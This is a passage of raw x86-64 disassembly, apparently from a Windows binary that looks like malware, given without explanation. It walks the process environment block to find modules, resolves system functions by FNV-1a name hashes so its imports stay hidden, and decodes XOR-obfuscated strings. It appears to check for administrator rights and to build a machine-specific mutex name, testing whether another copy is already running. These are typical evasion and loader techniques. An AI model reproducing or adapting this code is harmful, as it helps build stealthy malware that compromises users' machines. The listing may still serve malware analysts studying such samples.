movdqa xmmword [rbp + 0x2a0], xmm0
movdqa xmm1, xmmword [rbp + 0x1480]
pxor xmm1, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x2b0], xmm1
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x35a0]
call fcn.14004fda0
mov rdx, rax
lea rcx, [rbp + 0x3b38]
call fcn.14003ae10
test al, al
je 0x140046302
mov dword [rbp - 0x80], 0
mov word [rbp - 0x7c], 0x500
xor esi, esi
mov edi, 0xdb3de4b3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11a0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400413b0
mov r8, qword [rbp + 0x11a8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400413a7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140041380
cmp r9d, esi
jne 0x1400414f5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400414fd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400414f5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400414f5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140041438
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041411
cmp r9d, edi
je 0x14004144a
test r10d, r10d
jne 0x1400413f0
mov rax, qword [rax]
jmp 0x140041340
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x1400414ff
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400414ff
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400414b4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140041490
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400414e4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400414c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041340
xor ebx, ebx
lea rax, [rbp + 0x78]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x80]
call rbx
test eax, eax
jne 0x14004155e
mov rcx, qword gs:[0x60]
jmp 0x14004194d
mov dword [rbp + 0x10], 0
xor esi, esi
mov edi, 0x3b137204
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11b0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400415f0
mov r8, qword [rbp + 0x11b8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400415e7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400415c0
cmp r9d, esi
jne 0x140041735
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004173d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140041735
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140041735
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140041678
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041651
cmp r9d, edi
je 0x14004168a
test r10d, r10d
jne 0x140041630
mov rax, qword [rax]
jmp 0x140041580
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004173f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004173f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400416f4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400416d0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140041724
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140041700
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041580
xor ebx, ebx
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x78]
xor ecx, ecx
call rbx
xor esi, esi
mov edi, 0x8b86f6e5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11c0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400417e0
mov r8, qword [rbp + 0x11c8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400417d7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400417b0
cmp r9d, esi
jne 0x140041925
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004192d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140041925
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140041925
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140041868
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041841
cmp r9d, edi
je 0x14004187a
test r10d, r10d
jne 0x140041820
mov rax, qword [rax]
jmp 0x140041770
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x14004192f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x14004192f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x1400418e4
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x1400418c0
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140041914
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x1400418f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041770
xor edx, edx
mov rcx, qword [rbp + 0x78]
call rdx
cmp dword [rbp + 0x10], 1
sete al
mov rcx, qword gs:[0x60]
test al, al
jne 0x140041c2a
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1a00], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400419d0
mov r9, qword [rbp + 0x1a08]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x1400419c7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x1400419a0
cmp r10d, esi
jne 0x140041b17
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x140041b1f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140041b17
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140041b17
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140041a57
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140041a30
cmp r10d, r8d
je 0x140041a69
test r11d, r11d
jne 0x140041a10
mov rax, qword [rax]
jmp 0x140041960
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140041b21
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140041b21
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140041ad4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140041ab0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140041b06
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140041ae0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041960
xor ebx, ebx
movabs rdx, 0x397a9e19b9d82f9d
mov qword [rbp + 0x11d0], rdx
movabs rcx, 0x35fae148278a2caa
mov qword [rbp + 0x11d8], rcx
movabs rax, 0x145aca49f08a64ce
mov qword [rbp + 0xf0], rax
movabs rax, 0x35fa932755f8698a
mov qword [rbp + 0xf8], rax
movdqa xmm0, xmmword [rbp + 0x11d0]
pxor xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x1490], rdx
mov qword [rbp + 0x1498], rcx
movabs rax, 0x2c48a75b027dda7f
mov qword [rbp + 0x14a0], rax
mov qword [rbp + 0x14a8], r14
movabs rax, 0x555afb6ad8bd43cd
mov qword [rbp + 0x2e0], rax
movabs rax, 0x469bc12044e459cb
mov qword [rbp + 0x2e8], rax
movabs rax, 0x5f21c9326f199b5f
mov qword [rbp + 0x2f0], rax
movabs rax, 0x49de684585d537b8
mov qword [rbp + 0x2f8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
pxor xmm0, xmmword [rbp + 0x1490]
movdqa xmmword [rbp + 0x2e0], xmm0
movdqa xmm1, xmmword [rbp + 0x2f0]
pxor xmm1, xmmword [rbp + 0x14a0]
movdqa xmmword [rbp + 0x2f0], xmm1
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0x2e0]
jmp 0x1400472db
xor r14d, r14d
mov esi, 0x1e086d37
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11e0], xmm0
movd ecx, xmm0
sub cx, 8
test r14d, r14d
je 0x140041cb0
mov r8, qword [rbp + 0x11e8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140041ca7
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140041c80
cmp r9d, r14d
jne 0x140041e06
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140041e0e
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rsp + 0x78], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140041e06
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140041e06
mov r13d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r13]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140041d47
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041d20
cmp r9d, esi
je 0x140041d59
test r10d, r10d
jne 0x140041cf5
mov rax, qword [rax]
jmp 0x140041c40
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edi, dword [rcx + rax*4]
add rdi, r11
mov qword [rsp + 0x60], rdi
cmp rdi, r15
jbe 0x140041e15
mov rax, qword [rsp + 0x78]
add rax, r15
cmp rdi, rax
jae 0x140041e15
mov esi, 0x811c9dc5
mov r14d, esi
movzx edx, byte [rdi]
cmp dl, 0x2e
je 0x140041dc7
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
inc rdi
movzx edx, byte [rdi]
cmp dl, 0x2e
jne 0x140041da1
inc rdi
movzx edx, byte [rdi]
test dl, dl
je 0x140041df5
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea rdi, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
jne 0x140041dd1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041c40
xor edi, edi
mov qword [rsp + 0x60], rdi
mov edx, 1
lea rcx, [rbp + 0x36c0]
call fcn.14004e910
nop
imul ecx, dword [0x7ffe03c0], 0x213ea020
mov edx, 0x76e96710
mov eax, edx
sub eax, ecx
mov dword [rbp + 0xc0], eax
imul eax, dword [0x7ffe02c4], 0x37e06b0
add eax, edx
mov dword [rbp + 0xc4], eax
imul eax, dword [0x7ffe0240], 0x12482760
mov ecx, edx
sub ecx, eax
mov dword [rbp + 0xc8], ecx
imul eax, dword [0x7ffe0260], 0x47bb9210
sub edx, eax
mov dword [rbp + 0xcc], edx
xor esi, esi
movabs rdi, 0x397a9e19b9d82f9d
movabs r12, 0x397a9e19b9d82fb0
movabs r14, 0x35fae148278a2caa
nop dword [rax]
lea rax, [rsi - 4]
test rax, 0xfffffffffffffff9
jne 0x140041efe
xor eax, eax
mov byte [rbp - 0x2b], al
mov byte [rbp - 0x2a], al
mov qword [rbp + 0x11f0], rdi
mov qword [rbp + 0x11f8], r14
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r14
mov byte [rbp - 0x29], al
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0x11f0]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x36d0]
call fcn.140055930
mov rax, qword [rbp + 0x36d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x36d0]
add rcx, rax
call fcn.140032180
mov rax, qword [rbp + 0x36d0]
movsxd rcx, dword [rax + 4]
mov byte [rbp + rcx + 0x3728], 0x30
mov edx, 2
lea rcx, [rbp + 0x3540]
call fcn.140078e24
mov rbx, qword [rax]
mov rcx, qword [rbp + 0x36d0]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0x36d0]
add rcx, rdx
mov rdx, qword [rax + 8]
call rbx
movzx edx, byte [rbp + rsi + 0xc0]
lea rcx, [rbp + 0x36d0]
call fcn.14004f3b0
inc rsi
cmp rsi, 0x10
jl 0x140041ea0
lea rdx, [rbp + 0x33e0]
lea rcx, [rbp + 0x36d8]
call fcn.140051d10
mov dword [rsp + 0x70], 0x30
lea rcx, [rbp + 0x3758]
call fcn.14004e820
nop
lea rax, [0x1400c2cc0]
mov qword [rbp + 0x3758], rax
lea rcx, [rbp + 0x3758]
call fcn.140078ce0
nop
lea rcx, [rbp + 0x33e0]
call fcn.14000ac90
mov r8, rax
mov edx, 1
xor ecx, ecx
mov rdi, qword [rsp + 0x60]
call rdi
mov rcx, qword [rbp + 0x3b30]
mov rcx, qword [rcx]
mov qword [rcx], rax
mov dword [rsp + 0x70], 0x20
lea rcx, [rbp + 0x33e0]
call fcn.14002b180
xor esi, esi
mov r14d, 0x136d9f17
mov dword [rsp + 0x60], r14d
mov edi, r14d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r12d, 0x1e086d37
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1200], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400420a0
mov r8, qword [rbp + 0x1208]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042097
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042070
cmp r9d, esi
jne 0x1400421f5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400421fd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rsp + 0x78], rcx
mov r13d, edx
add r13, r11
cmp r13, r11
je 0x1400421f5
mov r10d, dword [r13 + 0x18]
test r10d, r10d
je 0x1400421f5
mov ecx, dword [r13 + 0x20]
dec r10d
lea rcx, [rcx + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140042137
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042110
cmp r9d, edi
je 0x14004214d
test r10d, r10d
mov ecx, dword [r13 + 0x20]
jne 0x1400420e5
mov rax, qword [rax]
jmp 0x140042030
mov ecx, dword [r13 + 0x1c]
add rcx, r11
mov eax, dword [r13 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r13
jbe 0x1400421ff
mov rax, qword [rsp + 0x78]
add rax, r13
cmp rdx, rax
jae 0x1400421ff
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x1400421b4
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140042190
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x1400421e4
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x1400421c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042030
xor edx, edx
call rdx
cmp eax, 0xb7
je 0x1400472e5
xor esi, esi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1210], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140042290
mov r8, qword [rbp + 0x1218]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042287
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042260
cmp r9d, esi
jne 0x1400423f7
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400423ff
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rbp + 8], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400423f7
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400423f7
mov r13d, dword [r15 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rcx, [r10*4]
add rcx, r13
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140042337
nop dword [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042310
cmp r9d, r12d
je 0x140042349
test r10d, r10d
jne 0x1400422e0
mov rax, qword [rax]
jmp 0x140042220
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edi, dword [rcx + rax*4]
add rdi, r11
mov qword [rsp + 0x78], rdi
cmp rdi, r15
jbe 0x140042406
mov rax, qword [rbp + 8]
add rax, r15
cmp rdi, rax
jae 0x140042406
mov esi, 0x811c9dc5
mov r12d, esi
movzx edx, byte [rdi]
cmp dl, 0x2e
je 0x1400423b4
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdi
movzx edx, byte [rdi]
cmp dl, 0x2e
jne 0x140042390
inc rdi
movzx edx, byte [rdi]
test dl, dl
je 0x1400423e6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r12d
imul r12d, ecx, 0x1000193
lea rdi, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
jne 0x1400423c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042220
xor edi, edi
mov qword [rsp + 0x78], rdi
mov edx, 1
lea rcx, [rbp + 0x37c0]
call fcn.14004e910
nop
imul ecx, dword [0x7ffe03c0], 0x415373b8
mov edx, 0xb8db7ac1
mov eax, edx
sub eax, ecx
mov dword [rbp + 0x1b0], eax
imul eax, dword [0x7ffe02c4], 0x74a5aaf4
sub eax, 0x4724853f
mov dword [rbp + 0x1b4], eax
imul eax, dword [0x7ffe0240], 0x65152498
sub eax, 0x4724853f
mov dword [rbp + 0x1b8], eax
imul eax, dword [0x7ffe0260], 0x1f27e55c
sub edx, eax
mov dword [rbp + 0x1bc], edx
xor esi, esi
movabs rdi, 0x397a9e19b9d82f9d
movabs r15, 0x397a9e19b9d82fb0
movabs r14, 0x35fae148278a2caa
lea rax, [rsi - 4]
test rax, 0xfffffffffffffff9
jne 0x1400424ef
xor eax, eax
mov byte [rbp - 0x28], al
mov byte [rbp - 0x27], al
mov qword [rbp + 0x1220], rdi
mov qword [rbp + 0x1228], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], r14
mov byte [rbp - 0x26], al
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x1220]
movdqa xmmword [rbp + 0xb0], xmm0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x37d0]
call fcn.140055930
mov rax, qword [rbp + 0x37d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x37d0]
add rcx, rax
call fcn.140032180
mov rax, qword [rbp + 0x37d0]
movsxd rcx, dword [rax + 4]
mov byte [rbp + rcx + 0x3828], 0x30
mov edx, 2
lea rcx, [rbp + 0x3550]
call fcn.140078e24
mov rbx, qword [rax]
mov rcx, qword [rbp + 0x37d0]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0x37d0]
add rcx, rdx
mov rdx, qword [rax + 8]
call rbx
movzx edx, byte [rbp + rsi + 0x1b0]
lea rcx, [rbp + 0x37d0]
call fcn.14004f3b0
inc rsi
cmp rsi, 0x10
jl 0x140042491
lea rdx, [rbp + 0x3400]
lea rcx, [rbp + 0x37d8]
call fcn.140051d10
mov dword [rsp + 0x70], 0xe0
lea rcx, [rbp + 0x3858]
call fcn.14004e820
nop
lea rax, [0x1400c2cc0]
mov qword [rbp + 0x3858], rax
lea rcx, [rbp + 0x3858]
call fcn.140078ce0
nop
lea rcx, [rbp + 0x3400]
call fcn.14000ac90
mov r8, rax
xor edx, edx
xor ecx, ecx
mov rdi, qword [rsp + 0x78]
call rdi
mov qword [rbp + 8], rax
mov dword [rsp + 0x70], 0xa0
lea rcx, [rbp + 0x3400]
call fcn.14002b180
xor edi, edi
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r14d, dword [rsp + 0x60]
nop dword [rax]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rbp + 0x1230], xmm0
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140042661
mov r8, qword [rbp + 0x1238]
movzx eax, ax
shr rax, 1
lea r10, [r8 + rax*2]
mov r9d, 0x811c9dc5
